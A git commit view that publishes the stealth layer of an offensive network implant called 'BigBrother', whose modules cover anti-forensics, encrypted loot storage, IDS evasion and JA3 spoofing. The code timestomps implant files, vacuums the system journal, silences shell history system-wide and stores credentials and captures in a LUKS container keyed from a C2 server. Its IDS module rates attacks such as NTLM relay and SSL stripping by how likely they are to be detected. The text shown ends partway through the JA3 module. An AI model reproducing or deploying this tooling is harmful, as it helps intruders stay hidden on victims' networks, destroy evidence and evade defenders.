Initial public release

Full BigBrother network implant - passive SOC + active exploitation.
Personal identifiers removed; all capabilities intact.
See README.md for setup and docs/deployment.md for detailed deployment.
This commit is contained in:
n0mad1k
2026-06-26 09:52:50 -04:00
commit ccc6b729de
175 changed files with 47941 additions and 0 deletions
+29
View File
@@ -0,0 +1,29 @@
"""SystemMonitor stealth modules — OPSEC layer."""
from modules.stealth.mac_manager import MacManager
from modules.stealth.process_disguise import ProcessDisguise
from modules.stealth.log_suppression import LogSuppression
from modules.stealth.encrypted_storage import EncryptedStorage
from modules.stealth.tmpfs_manager import TmpfsManager
from modules.stealth.watchdog import Watchdog
from modules.stealth.anti_forensics import AntiForensics
from modules.stealth.traffic_mimicry import TrafficMimicry
from modules.stealth.ja3_spoofer import JA3Spoofer
from modules.stealth.ids_tester import IDSTester
from modules.stealth.lkm_rootkit import LKMRootkit
from modules.stealth.overlayfs_manager import OverlayfsManager
__all__ = [
"MacManager",
"ProcessDisguise",
"LogSuppression",
"EncryptedStorage",
"TmpfsManager",
"Watchdog",
"AntiForensics",
"TrafficMimicry",
"JA3Spoofer",
"IDSTester",
"LKMRootkit",
"OverlayfsManager",
]
+293
View File
@@ -0,0 +1,293 @@
#!/usr/bin/env python3
"""Anti-forensics module: timestomping, core dump suppression, swap disable,
journal cleaning, history suppression, secure deletion."""
import logging
import os
import subprocess
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
from utils.stealth import (
disable_core_dumps,
hide_from_history,
set_sysctl,
timestomp,
timestomp_recursive,
_get_os_install_time,
)
logger = logging.getLogger(__name__)
# SystemMonitor install root (default; overridden by config)
BB_ROOT = "/opt/.cache/bb"
class AntiForensics(BaseModule):
"""Apply anti-forensic hardening: timestomp, swap off, core dumps off,
journal vacuum, history suppression, bettercap tmpfs home."""
name = "anti_forensics"
module_type = "stealth"
priority = -400
requires_root = True
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._measures: dict[str, bool] = {
"timestomp": False,
"core_dumps_disabled": False,
"swap_disabled": False,
"journal_cleaned": False,
"history_suppressed": False,
"bettercap_tmpfs_home": False,
}
self._bb_root = config.get("bb_root", BB_ROOT)
self._timestomp_ref = config.get("timestomp_reference", "/etc/os-release")
self._files_stomped = 0
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
self._running = True
self._start_time = time.time()
self._pid = os.getpid()
logger.info("AntiForensics starting — applying all measures")
self._apply_timestomp()
self._disable_core_dumps()
self._disable_swap()
self._clean_journal()
self._suppress_history()
self._set_bettercap_tmpfs_home()
self.state.set_module_status(self.name, "running", pid=self._pid)
self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
logger.info("AntiForensics active — measures: %s", self._measures)
def stop(self) -> None:
"""Anti-forensic measures persist intentionally — nothing to undo."""
self._running = False
self.state.set_module_status(self.name, "stopped")
self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
logger.info("AntiForensics stopped (measures remain in effect)")
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"measures": dict(self._measures),
"files_stomped": self._files_stomped,
}
def configure(self, config: dict) -> None:
if "bb_root" in config:
self._bb_root = config["bb_root"]
if "timestomp_reference" in config:
self._timestomp_ref = config["timestomp_reference"]
# ------------------------------------------------------------------
# Timestomping
# ------------------------------------------------------------------
def _apply_timestomp(self) -> None:
"""Timestomp all SystemMonitor files to OS install date."""
try:
ref_time = self._get_reference_time()
if os.path.isdir(self._bb_root):
self._files_stomped = timestomp_recursive(
self._bb_root, epoch=ref_time,
)
logger.info("Timestomped %d files under %s", self._files_stomped, self._bb_root)
self._measures["timestomp"] = True
except Exception:
logger.exception("Timestomp failed")
self._measures["timestomp"] = False
def _get_reference_time(self) -> float:
"""Determine OS install timestamp for timestomping."""
# Try explicit reference first
if self._timestomp_ref and os.path.exists(self._timestomp_ref):
try:
return os.stat(self._timestomp_ref).st_mtime
except OSError:
pass
# Fallback via utils helper
return _get_os_install_time()
# ------------------------------------------------------------------
# Core dumps
# ------------------------------------------------------------------
def _disable_core_dumps(self) -> None:
"""Disable core dumps via rlimit, sysctl, and prctl."""
try:
success = disable_core_dumps()
# Also set via ulimit for child processes
try:
import resource
resource.setrlimit(resource.RLIMIT_CORE, (0, 0))
except Exception:
pass
self._measures["core_dumps_disabled"] = success
if success:
logger.info("Core dumps disabled")
else:
logger.warning("Core dump disable partially failed")
except Exception:
logger.exception("Core dump disable failed")
self._measures["core_dumps_disabled"] = False
# ------------------------------------------------------------------
# Swap
# ------------------------------------------------------------------
def _disable_swap(self) -> None:
"""Disable all swap to prevent sensitive data hitting disk."""
try:
result = subprocess.run(
["swapoff", "-a"],
capture_output=True, timeout=30,
)
self._measures["swap_disabled"] = result.returncode == 0
if result.returncode == 0:
logger.info("Swap disabled (swapoff -a)")
else:
logger.warning("swapoff -a returned %d: %s",
result.returncode, result.stderr.decode(errors="replace"))
except FileNotFoundError:
logger.warning("swapoff not found")
self._measures["swap_disabled"] = False
except Exception:
logger.exception("Swap disable failed")
self._measures["swap_disabled"] = False
# ------------------------------------------------------------------
# Journal cleaning
# ------------------------------------------------------------------
def _clean_journal(self) -> None:
"""Vacuum journal entries that might reference SystemMonitor components."""
try:
# Vacuum to 1s to remove old entries we may have generated
result = subprocess.run(
["journalctl", "--vacuum-time=1s"],
capture_output=True, timeout=30,
)
self._measures["journal_cleaned"] = result.returncode == 0
if result.returncode == 0:
logger.info("Journal vacuumed")
except FileNotFoundError:
# No systemd journal on this system
self._measures["journal_cleaned"] = True
except Exception:
logger.exception("Journal vacuum failed")
self._measures["journal_cleaned"] = False
# ------------------------------------------------------------------
# Shell history suppression
# ------------------------------------------------------------------
def _suppress_history(self) -> None:
"""Set HISTFILE=/dev/null for current and future shells."""
try:
success = hide_from_history()
# Also write to /etc/environment for all sessions
try:
env_file = Path("/etc/environment")
if env_file.exists():
content = env_file.read_text()
lines_to_add = []
if "HISTFILE=" not in content:
lines_to_add.append("HISTFILE=/dev/null")
if "HISTSIZE=" not in content:
lines_to_add.append("HISTSIZE=0")
if lines_to_add:
with open(env_file, "a") as f:
for line in lines_to_add:
f.write(f"\n{line}")
except PermissionError:
pass
self._measures["history_suppressed"] = success
if success:
logger.info("Shell history suppressed")
except Exception:
logger.exception("History suppression failed")
self._measures["history_suppressed"] = False
# ------------------------------------------------------------------
# Bettercap tmpfs home
# ------------------------------------------------------------------
def _set_bettercap_tmpfs_home(self) -> None:
"""Point $HOME to a tmpfs path so bettercap writes ~/.bettercap/ to RAM."""
try:
tmpfs_home = "/dev/shm/.bb_home"
os.makedirs(tmpfs_home, mode=0o700, exist_ok=True)
os.environ["HOME"] = tmpfs_home
# Create minimal .bettercap dir so bettercap doesn't complain
bettercap_dir = os.path.join(tmpfs_home, ".bettercap")
os.makedirs(bettercap_dir, mode=0o700, exist_ok=True)
self._measures["bettercap_tmpfs_home"] = True
logger.info("Bettercap HOME set to tmpfs: %s", tmpfs_home)
except Exception:
logger.exception("Bettercap tmpfs HOME setup failed")
self._measures["bettercap_tmpfs_home"] = False
# ------------------------------------------------------------------
# Secure deletion utility
# ------------------------------------------------------------------
@staticmethod
def secure_delete(path: str, passes: int = 3) -> bool:
"""Securely delete a file: 3-pass overwrite (random, zero, random) then unlink.
Falls back to simple unlink if shred is unavailable.
"""
if not os.path.isfile(path):
return False
try:
result = subprocess.run(
["shred", "-n", str(passes), "-z", "-u", path],
capture_output=True, timeout=60,
)
if result.returncode == 0:
return True
except FileNotFoundError:
pass
except Exception:
pass
# Fallback: manual overwrite
try:
size = os.path.getsize(path)
with open(path, "r+b") as f:
# Pass 1: random
f.seek(0)
f.write(os.urandom(size))
f.flush()
os.fsync(f.fileno())
# Pass 2: zeros
f.seek(0)
f.write(b"\x00" * size)
f.flush()
os.fsync(f.fileno())
# Pass 3: random
f.seek(0)
f.write(os.urandom(size))
f.flush()
os.fsync(f.fileno())
os.unlink(path)
return True
except Exception:
# Last resort: just delete
try:
os.unlink(path)
except OSError:
return False
return True
+296
View File
@@ -0,0 +1,296 @@
#!/usr/bin/env python3
"""Encrypted storage module — LUKS container for all persistent data.
Manages a LUKS2 encrypted container for PCAPs, logs, credentials, and
intelligence data. Key derivation attempts a network-derived key first
(HKDF with CPU serial + C2-fetched component), falling back to a config
passphrase if C2 is unreachable.
"""
import json
import logging
import os
import shutil
import subprocess
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
from utils.crypto import LUKSContainer, derive_network_key
logger = logging.getLogger(__name__)
# Subdirectories created inside the mounted LUKS container
STORAGE_SUBDIRS = ("pcaps", "logs", "baseline", "intel", "credentials", "config")
class EncryptedStorage(BaseModule):
"""LUKS encrypted storage with network-derived key unlock."""
name = "encrypted_storage"
module_type = "stealth"
priority = -500 # Highest — other modules depend on storage
requires_root = True
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._luks: Optional[LUKSContainer] = None
self._mounted = False
self._storage_path: Optional[str] = None
self._container_path: Optional[str] = None
self._passphrase: Optional[bytes] = None
self._using_fallback_key = False
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
install_path = self.config.get("device", {}).get("install_path", "/opt/.cache/bb")
self._storage_path = os.path.join(install_path, "storage")
container_rel = self.config.get("security", {}).get(
"luks_container", "storage/encrypted.luks"
)
self._container_path = os.path.join(install_path, container_rel)
# Derive passphrase
self._passphrase = self._derive_passphrase()
# Initialize LUKS container
mapper_name = "bb_storage"
self._luks = LUKSContainer(
container_path=self._container_path,
mount_point=self._storage_path,
mapper_name=mapper_name,
)
# Create container if it doesn't exist
if not os.path.isfile(self._container_path):
logger.info("Creating new LUKS container at %s", self._container_path)
os.makedirs(os.path.dirname(self._container_path), exist_ok=True)
size_mb = self._get_container_size()
if not self._luks.create(size_mb, self._passphrase):
logger.error("Failed to create LUKS container")
self.state.set_module_status(self.name, "error")
return
# Format the filesystem inside the container
if not self._format_filesystem():
logger.error("Failed to format LUKS filesystem")
self.state.set_module_status(self.name, "error")
return
# Open and mount
if not self._luks.is_open:
if not self._luks.open(self._passphrase):
logger.error("Failed to open LUKS container — wrong key?")
self.state.set_module_status(self.name, "error")
return
self._mounted = True
# Create subdirectories
self._create_subdirs()
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self.state.set_module_status(self.name, "running", pid=os.getpid())
key_type = "fallback" if self._using_fallback_key else "network-derived"
logger.info(
"EncryptedStorage mounted at %s (key: %s)",
self._storage_path, key_type,
)
def stop(self) -> None:
if not self._running:
return
# Sync filesystem
try:
subprocess.run(["sync"], capture_output=True, timeout=10)
except subprocess.SubprocessError:
pass
# Unmount and close LUKS
if self._luks and self._luks.is_open:
if not self._luks.close():
logger.warning("Failed to cleanly close LUKS container")
self._mounted = False
self._running = False
# Scrub passphrase from memory (best effort)
if self._passphrase:
self._passphrase = b"\x00" * len(self._passphrase)
self._passphrase = None
self.state.set_module_status(self.name, "stopped")
logger.info("EncryptedStorage unmounted and closed")
def status(self) -> dict:
result = {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"mounted": self._mounted,
"using_fallback_key": self._using_fallback_key,
}
if self._mounted and self._storage_path:
try:
stat = os.statvfs(self._storage_path)
total = stat.f_blocks * stat.f_frsize
free = stat.f_bavail * stat.f_frsize
used = total - free
result["container_size_mb"] = total / (1024 * 1024)
result["used_mb"] = used / (1024 * 1024)
result["free_mb"] = free / (1024 * 1024)
except OSError:
pass
return result
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# Public API
# ------------------------------------------------------------------
def get_storage_path(self) -> Optional[str]:
"""Return the mount point for the encrypted storage, or None if not mounted."""
return self._storage_path if self._mounted else None
def get_subdir(self, name: str) -> Optional[str]:
"""Return the path to a named subdirectory inside encrypted storage."""
if not self._mounted or not self._storage_path:
return None
path = os.path.join(self._storage_path, name)
return path if os.path.isdir(path) else None
# ------------------------------------------------------------------
# Key derivation
# ------------------------------------------------------------------
def _derive_passphrase(self) -> bytes:
"""Attempt network-derived key first, then fall back to config passphrase."""
# Try network-derived key: HKDF(CPU serial + C2 component)
cpu_serial = self._get_cpu_serial()
c2_component = self._fetch_c2_key_component()
if c2_component:
try:
key = derive_network_key(
network_secret=c2_component,
device_serial=cpu_serial,
)
self._using_fallback_key = False
logger.debug("Using network-derived LUKS key")
return key
except Exception as exc:
logger.warning("Network key derivation failed: %s", exc)
# Fallback: use a config-based passphrase
self._using_fallback_key = True
logger.info("C2 unreachable — using fallback LUKS key")
# Derive from CPU serial + static salt (still better than plaintext)
fallback_salt = b"bb-fallback-luks-key-v1"
import hashlib
return hashlib.pbkdf2_hmac("sha256", cpu_serial, fallback_salt, 100_000)
def _get_cpu_serial(self) -> bytes:
"""Read CPU serial from /proc/cpuinfo or /sys/firmware/devicetree."""
# Try /proc/cpuinfo Serial field (RPi, OPi)
try:
with open("/proc/cpuinfo", "r") as f:
for line in f:
if line.strip().startswith("Serial"):
serial = line.split(":", 1)[1].strip()
return serial.encode("utf-8")
except (IOError, IndexError):
pass
# Try machine-id as fallback
try:
with open("/etc/machine-id", "r") as f:
return f.read().strip().encode("utf-8")
except IOError:
pass
# Last resort: hostname-based
import socket
return socket.gethostname().encode("utf-8")
def _fetch_c2_key_component(self) -> Optional[bytes]:
"""Attempt to fetch the key component from C2.
Returns None if C2 is unreachable. The actual C2 client
will be provided by the connectivity module.
"""
# TODO: implement actual C2 key fetch via connectivity module
# For now, check if a pre-staged key file exists (deployed with implant)
key_paths = [
"/opt/.cache/bb/config/luks_network_key",
os.path.expanduser("~/.implant/luks_network_key"),
]
for path in key_paths:
try:
if os.path.isfile(path):
with open(path, "rb") as f:
data = f.read(64)
if data:
return data
except (IOError, PermissionError):
pass
return None
# ------------------------------------------------------------------
# Container setup
# ------------------------------------------------------------------
def _get_container_size(self) -> int:
"""Determine LUKS container size in MB based on available disk."""
try:
stat = os.statvfs(os.path.dirname(self._container_path))
free_mb = (stat.f_bavail * stat.f_frsize) / (1024 * 1024)
# Use 70% of free space, max 8GB, min 256MB
size = int(free_mb * 0.7)
return max(256, min(size, 8192))
except OSError:
return 1024 # Default 1GB
def _format_filesystem(self) -> bool:
"""Open the container and format it with ext4."""
try:
# Open LUKS to get the mapper device
if not self._luks.open(self._passphrase):
return False
# Format with ext4 (no journal for SBC — reduce writes)
subprocess.run(
["mkfs.ext4", "-O", "^has_journal", "-q", self._luks.device_path],
check=True, capture_output=True,
)
# Close — will be reopened in start()
self._luks.close()
return True
except subprocess.CalledProcessError as exc:
logger.error("mkfs.ext4 failed: %s", exc)
return False
def _create_subdirs(self) -> None:
"""Create standard subdirectories inside the mounted storage."""
for subdir in STORAGE_SUBDIRS:
path = os.path.join(self._storage_path, subdir)
os.makedirs(path, exist_ok=True)
logger.debug("Storage subdirectories created: %s", ", ".join(STORAGE_SUBDIRS))
+397
View File
@@ -0,0 +1,397 @@
#!/usr/bin/env python3
"""IDS self-testing module: assess detection risk of planned actions against
Snort/Suricata community rules before activation."""
import logging
import os
import re
import time
from dataclasses import dataclass, field
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger(__name__)
# Detection risk levels
RISK_LOW = "LOW"
RISK_MEDIUM = "MEDIUM"
RISK_HIGH = "HIGH"
RISK_CRITICAL = "CRITICAL"
# Action-to-risk baseline mapping (before rule checking)
ACTION_RISK_BASELINE = {
# Passive (LOW)
"passive_sniff": RISK_LOW,
"dns_logging": RISK_LOW,
"host_discovery_passive": RISK_LOW,
"credential_sniff": RISK_LOW,
"pcap_capture": RISK_LOW,
# Medium (detectable with tuned IDS)
"arp_spoof": RISK_MEDIUM,
"dhcp_spoof": RISK_MEDIUM,
"dns_spoof": RISK_MEDIUM,
"nbns_spoof": RISK_MEDIUM,
"llmnr_spoof": RISK_MEDIUM,
"mdns_spoof": RISK_MEDIUM,
"evil_twin": RISK_MEDIUM,
"wpad_spoof": RISK_MEDIUM,
"vlan_hop": RISK_MEDIUM,
# High (commonly detected)
"responder": RISK_HIGH,
"ntlm_relay": RISK_HIGH,
"kerberoast": RISK_HIGH,
"smb_relay": RISK_HIGH,
"http_proxy_inject": RISK_HIGH,
"port_scan": RISK_HIGH,
# Critical (almost certainly detected)
"mitmproxy_ssl_intercept": RISK_CRITICAL,
"ssl_strip": RISK_CRITICAL,
"dns_hijack_external": RISK_CRITICAL,
"exploit_delivery": RISK_CRITICAL,
}
# Bettercap caplet action to risk mapping
CAPLET_ACTION_RISK = {
"net.probe": RISK_MEDIUM,
"net.sniff": RISK_LOW,
"arp.spoof": RISK_MEDIUM,
"dns.spoof": RISK_MEDIUM,
"dhcp6.spoof": RISK_MEDIUM,
"http.proxy": RISK_HIGH,
"https.proxy": RISK_CRITICAL,
"tcp.proxy": RISK_HIGH,
"wifi.deauth": RISK_HIGH,
"wifi.ap": RISK_MEDIUM,
"any.proxy": RISK_HIGH,
"hid.inject": RISK_CRITICAL,
}
@dataclass
class RiskAssessment:
"""Result of an IDS risk assessment."""
action: str
risk_level: str
matching_sids: list[str] = field(default_factory=list)
matching_rules: list[str] = field(default_factory=list)
recommendation: str = ""
timestamp: float = field(default_factory=time.time)
def to_dict(self) -> dict:
return {
"action": self.action,
"risk_level": self.risk_level,
"matching_sids": self.matching_sids,
"matching_rules": self.matching_rules,
"recommendation": self.recommendation,
"timestamp": self.timestamp,
}
class IDSTester(BaseModule):
"""On-demand IDS risk assessment: check planned actions against known
Snort/Suricata signatures before module activation."""
name = "ids_tester"
module_type = "stealth"
priority = -100
requires_root = False
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._rules_dir = config.get("rules_dir", "data/ids_rules")
self._rules: list[dict] = []
self._last_assessment: Optional[RiskAssessment] = None
self._assessments: list[RiskAssessment] = []
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
self._running = True
self._start_time = time.time()
self._pid = os.getpid()
self._load_rules()
self.state.set_module_status(self.name, "running", pid=self._pid)
self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
logger.info("IDSTester ready — %d rules loaded", len(self._rules))
def stop(self) -> None:
self._running = False
self.state.set_module_status(self.name, "stopped")
self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
logger.info("IDSTester stopped")
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"rules_loaded": len(self._rules),
"last_assessment_time": self._last_assessment.timestamp if self._last_assessment else None,
"last_assessment_action": self._last_assessment.action if self._last_assessment else None,
"last_assessment_risk": self._last_assessment.risk_level if self._last_assessment else None,
"total_assessments": len(self._assessments),
}
def configure(self, config: dict) -> None:
if "rules_dir" in config:
self._rules_dir = config["rules_dir"]
self._load_rules()
# ------------------------------------------------------------------
# Public API: risk assessment
# ------------------------------------------------------------------
def assess_risk(self, action: str) -> dict:
"""Assess detection risk for a planned action.
Args:
action: Action identifier (e.g., 'arp_spoof', 'responder', 'mitmproxy_ssl_intercept')
Returns:
dict with risk_level, matching_sids, recommendation
"""
# Start with baseline risk
baseline_risk = ACTION_RISK_BASELINE.get(action, RISK_MEDIUM)
# Check against loaded IDS rules
matching_sids = []
matching_rules = []
keywords = self._action_to_keywords(action)
for rule in self._rules:
rule_text = rule.get("raw", "").lower()
rule_msg = rule.get("msg", "").lower()
for keyword in keywords:
if keyword in rule_text or keyword in rule_msg:
sid = rule.get("sid", "unknown")
matching_sids.append(str(sid))
matching_rules.append(rule.get("msg", "unknown"))
break
# Escalate risk if IDS rules match
final_risk = baseline_risk
if matching_sids:
risk_order = [RISK_LOW, RISK_MEDIUM, RISK_HIGH, RISK_CRITICAL]
current_idx = risk_order.index(baseline_risk)
escalation = min(len(matching_sids), 2) # Max +2 levels
final_risk = risk_order[min(current_idx + escalation, len(risk_order) - 1)]
recommendation = self._generate_recommendation(action, final_risk, len(matching_sids))
assessment = RiskAssessment(
action=action,
risk_level=final_risk,
matching_sids=matching_sids[:20], # Cap at 20
matching_rules=matching_rules[:20],
recommendation=recommendation,
)
self._last_assessment = assessment
self._assessments.append(assessment)
# Keep only last 100 assessments
if len(self._assessments) > 100:
self._assessments = self._assessments[-100:]
logger.info(
"Risk assessment: %s -> %s (%d matching SIDs)",
action, final_risk, len(matching_sids),
)
return assessment.to_dict()
def assess_caplet(self, caplet_content: str) -> list[dict]:
"""Assess detection risk for bettercap caplet actions.
Args:
caplet_content: Raw caplet file content
Returns:
List of risk assessment dicts, one per detected action
"""
results = []
for line in caplet_content.splitlines():
line = line.strip()
if not line or line.startswith("#"):
continue
# Check each known caplet action
for action_prefix, risk in CAPLET_ACTION_RISK.items():
if line.startswith(action_prefix) or f" {action_prefix}" in line:
assessment = self.assess_risk(action_prefix.replace(".", "_"))
assessment["caplet_line"] = line
results.append(assessment)
break
return results
def preflight_check(self, module_name: str, actions: list[str]) -> dict:
"""Pre-flight validation: assess all actions a module will perform.
Args:
module_name: Name of the module to be activated
actions: List of action identifiers the module will perform
Returns:
dict with overall_risk, action_risks, go_nogo recommendation
"""
action_risks = []
risk_order = [RISK_LOW, RISK_MEDIUM, RISK_HIGH, RISK_CRITICAL]
max_risk_idx = 0
for action in actions:
result = self.assess_risk(action)
action_risks.append(result)
try:
idx = risk_order.index(result["risk_level"])
max_risk_idx = max(max_risk_idx, idx)
except ValueError:
pass
overall_risk = risk_order[max_risk_idx]
# go/nogo based on overall risk
if overall_risk == RISK_CRITICAL:
go_nogo = "NO-GO"
summary = f"Module '{module_name}' has CRITICAL detection risk — activation NOT recommended"
elif overall_risk == RISK_HIGH:
go_nogo = "CAUTION"
summary = f"Module '{module_name}' has HIGH detection risk — activate only if IDS evasion is confirmed"
elif overall_risk == RISK_MEDIUM:
go_nogo = "GO"
summary = f"Module '{module_name}' has MEDIUM detection risk — proceed with monitoring"
else:
go_nogo = "GO"
summary = f"Module '{module_name}' has LOW detection risk — safe to activate"
return {
"module": module_name,
"overall_risk": overall_risk,
"go_nogo": go_nogo,
"summary": summary,
"action_risks": action_risks,
}
# ------------------------------------------------------------------
# Internal: rule loading
# ------------------------------------------------------------------
def _load_rules(self) -> None:
"""Load Snort/Suricata rules from the rules directory."""
self._rules = []
rules_path = Path(self._rules_dir)
if not rules_path.is_dir():
logger.info("IDS rules directory not found: %s", self._rules_dir)
return
rule_files = list(rules_path.glob("*.rules"))
if not rule_files:
logger.info("No .rules files in %s", self._rules_dir)
return
for rule_file in rule_files:
try:
with open(rule_file, "r", errors="replace") as f:
for line in f:
line = line.strip()
if not line or line.startswith("#"):
continue
parsed = self._parse_rule(line)
if parsed:
self._rules.append(parsed)
except Exception:
logger.exception("Failed to parse rules file: %s", rule_file)
logger.info("Loaded %d IDS rules from %d files", len(self._rules), len(rule_files))
@staticmethod
def _parse_rule(line: str) -> Optional[dict]:
"""Parse a single Snort/Suricata rule line into a dict."""
# Extract SID
sid_match = re.search(r"sid:\s*(\d+)", line)
sid = sid_match.group(1) if sid_match else None
# Extract message
msg_match = re.search(r'msg:\s*"([^"]*)"', line)
msg = msg_match.group(1) if msg_match else ""
# Extract classtype
class_match = re.search(r"classtype:\s*([^;]+)", line)
classtype = class_match.group(1).strip() if class_match else ""
if not sid:
return None
return {
"sid": sid,
"msg": msg,
"classtype": classtype,
"raw": line,
}
# ------------------------------------------------------------------
# Internal: keyword mapping
# ------------------------------------------------------------------
@staticmethod
def _action_to_keywords(action: str) -> list[str]:
"""Map action identifiers to IDS rule keywords for matching."""
keyword_map = {
"arp_spoof": ["arp", "spoof", "poison", "gratuitous arp", "arp-scan"],
"dns_spoof": ["dns", "spoof", "dns poison", "dns hijack"],
"dhcp_spoof": ["dhcp", "rogue dhcp", "dhcp spoof"],
"responder": ["responder", "llmnr", "nbns", "nbt-ns", "mdns", "wpad", "netbios"],
"ntlm_relay": ["ntlm", "relay", "smb relay", "ntlmrelay"],
"smb_relay": ["smb", "relay", "smb relay"],
"kerberoast": ["kerberos", "kerberoast", "tgs-rep", "spn"],
"mitmproxy_ssl_intercept": ["mitm", "ssl intercept", "tls intercept", "ssl strip"],
"ssl_strip": ["ssl strip", "sslstrip", "hsts bypass"],
"port_scan": ["port scan", "nmap", "syn scan", "tcp scan"],
"evil_twin": ["evil twin", "rogue ap", "fake ap", "deauth"],
"nbns_spoof": ["nbns", "nbt-ns", "netbios"],
"llmnr_spoof": ["llmnr", "multicast dns"],
"mdns_spoof": ["mdns", "multicast dns", "avahi"],
"wpad_spoof": ["wpad", "proxy auto", "proxy autoconfig"],
"vlan_hop": ["vlan", "802.1q", "dtp", "double tag"],
"http_proxy_inject": ["http inject", "http proxy", "http mitm"],
"net_probe": ["arp scan", "net probe", "network scan", "host discovery"],
"net_sniff": ["sniff", "promiscuous", "pcap"],
"wifi_deauth": ["deauth", "disassoc", "wifi attack"],
"wifi_ap": ["rogue ap", "fake ap", "evil twin"],
}
# Normalize action name
action_lower = action.lower().replace(".", "_")
keywords = keyword_map.get(action_lower, [action_lower.replace("_", " ")])
# Always include the raw action name
keywords.append(action_lower.replace("_", " "))
return list(set(keywords))
@staticmethod
def _generate_recommendation(action: str, risk: str, sid_count: int) -> str:
"""Generate a human-readable recommendation."""
if risk == RISK_CRITICAL:
return (
f"CRITICAL: '{action}' matches {sid_count} IDS signatures. "
"Do NOT activate without confirmed IDS blind spots or rule suppression. "
"Consider alternative approaches or wait for off-hours."
)
elif risk == RISK_HIGH:
return (
f"HIGH: '{action}' is commonly detected ({sid_count} matching SIDs). "
"Verify target network has no Suricata/Snort/Zeek monitoring, or use "
"traffic mimicry to reduce signature exposure."
)
elif risk == RISK_MEDIUM:
return (
f"MEDIUM: '{action}' may be detected by tuned IDS ({sid_count} matching SIDs). "
"Proceed with caution — monitor for alerts and be ready to back off."
)
else:
return (
f"LOW: '{action}' has minimal detection footprint ({sid_count} matching SIDs). "
"Safe to proceed with standard OPSEC."
)
+354
View File
@@ -0,0 +1,354 @@
#!/usr/bin/env python3
"""JA3 fingerprint spoofing module: rewrite outbound TLS ClientHello to match
common browser fingerprints, defeating JA3-based network detection."""
import json
import logging
import os
import ssl
import struct
import subprocess
import time
import threading
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger(__name__)
# Built-in JA3 fingerprint profiles (fallback if data/ja3_fingerprints.db absent)
# Format: {name: {ja3_hash, cipher_suites, extensions, description}}
BUILTIN_PROFILES = {
"chrome_120_win": {
"ja3_hash": "cd08e31494f9531f560d64c695473da9",
"description": "Chrome 120 on Windows 10/11",
"cipher_suites": [
0x1301, 0x1302, 0x1303, # TLS 1.3: AES_128_GCM, AES_256_GCM, CHACHA20
0xc02b, 0xc02f, 0xc02c, 0xc030, # ECDHE_ECDSA/RSA with AES-GCM
0xcca9, 0xcca8, # ECDHE with CHACHA20
0xc013, 0xc014, # ECDHE_RSA with AES-CBC
0x009c, 0x009d, # AES-GCM
0x002f, 0x0035, # AES-CBC
],
"extensions": [0, 23, 65281, 10, 11, 35, 16, 5, 13, 18, 51, 45, 43, 27, 17513, 21],
"elliptic_curves": [0x001d, 0x0017, 0x0018], # x25519, secp256r1, secp384r1
"ec_point_formats": [0], # uncompressed
},
"firefox_121_win": {
"ja3_hash": "579ccef312d18482fc42e2b822ca2430",
"description": "Firefox 121 on Windows 10/11",
"cipher_suites": [
0x1301, 0x1303, 0x1302,
0xc02b, 0xc02f, 0xcca9, 0xcca8,
0xc02c, 0xc030, 0xc013, 0xc014,
0x009c, 0x009d, 0x002f, 0x0035,
],
"extensions": [0, 23, 65281, 10, 11, 35, 16, 5, 34, 51, 43, 13, 45, 28, 21],
"elliptic_curves": [0x001d, 0x0017, 0x0018, 0x0019],
"ec_point_formats": [0],
},
"edge_120_win": {
"ja3_hash": "b32309a26951912be7dba376398abc3b",
"description": "Edge 120 on Windows 10/11",
"cipher_suites": [
0x1301, 0x1302, 0x1303,
0xc02b, 0xc02f, 0xc02c, 0xc030,
0xcca9, 0xcca8,
0xc013, 0xc014,
0x009c, 0x009d, 0x002f, 0x0035,
],
"extensions": [0, 23, 65281, 10, 11, 35, 16, 5, 13, 18, 51, 45, 43, 27, 17513, 21],
"elliptic_curves": [0x001d, 0x0017, 0x0018],
"ec_point_formats": [0],
},
"chrome_120_linux": {
"ja3_hash": "a17a3bfd385b62b1e15606dbd08c9f89",
"description": "Chrome 120 on Linux",
"cipher_suites": [
0x1301, 0x1302, 0x1303,
0xc02b, 0xc02f, 0xc02c, 0xc030,
0xcca9, 0xcca8,
0xc013, 0xc014,
0x009c, 0x009d, 0x002f, 0x0035,
],
"extensions": [0, 23, 65281, 10, 11, 35, 16, 5, 13, 18, 51, 45, 43, 27, 17513, 21],
"elliptic_curves": [0x001d, 0x0017, 0x0018],
"ec_point_formats": [0],
},
}
class JA3Spoofer(BaseModule):
"""Spoof JA3 TLS fingerprints on outbound HTTPS connections to match
common browser profiles, evading JA3-based detection."""
name = "ja3_spoofer"
module_type = "stealth"
priority = -300
requires_root = True
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._profiles = dict(BUILTIN_PROFILES)
self._active_profile: Optional[str] = config.get("target_profile", None)
self._nfqueue_proc: Optional[subprocess.Popen] = None
self._packets_modified = 0
self._use_nfqueue = config.get("use_nfqueue", True)
self._nfqueue_num = config.get("nfqueue_num", 42)
self._lock = threading.Lock()
self._iptables_rules: list[list[str]] = []
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
self._running = True
self._start_time = time.time()
self._pid = os.getpid()
# Load external fingerprint database if available
self._load_fingerprint_db()
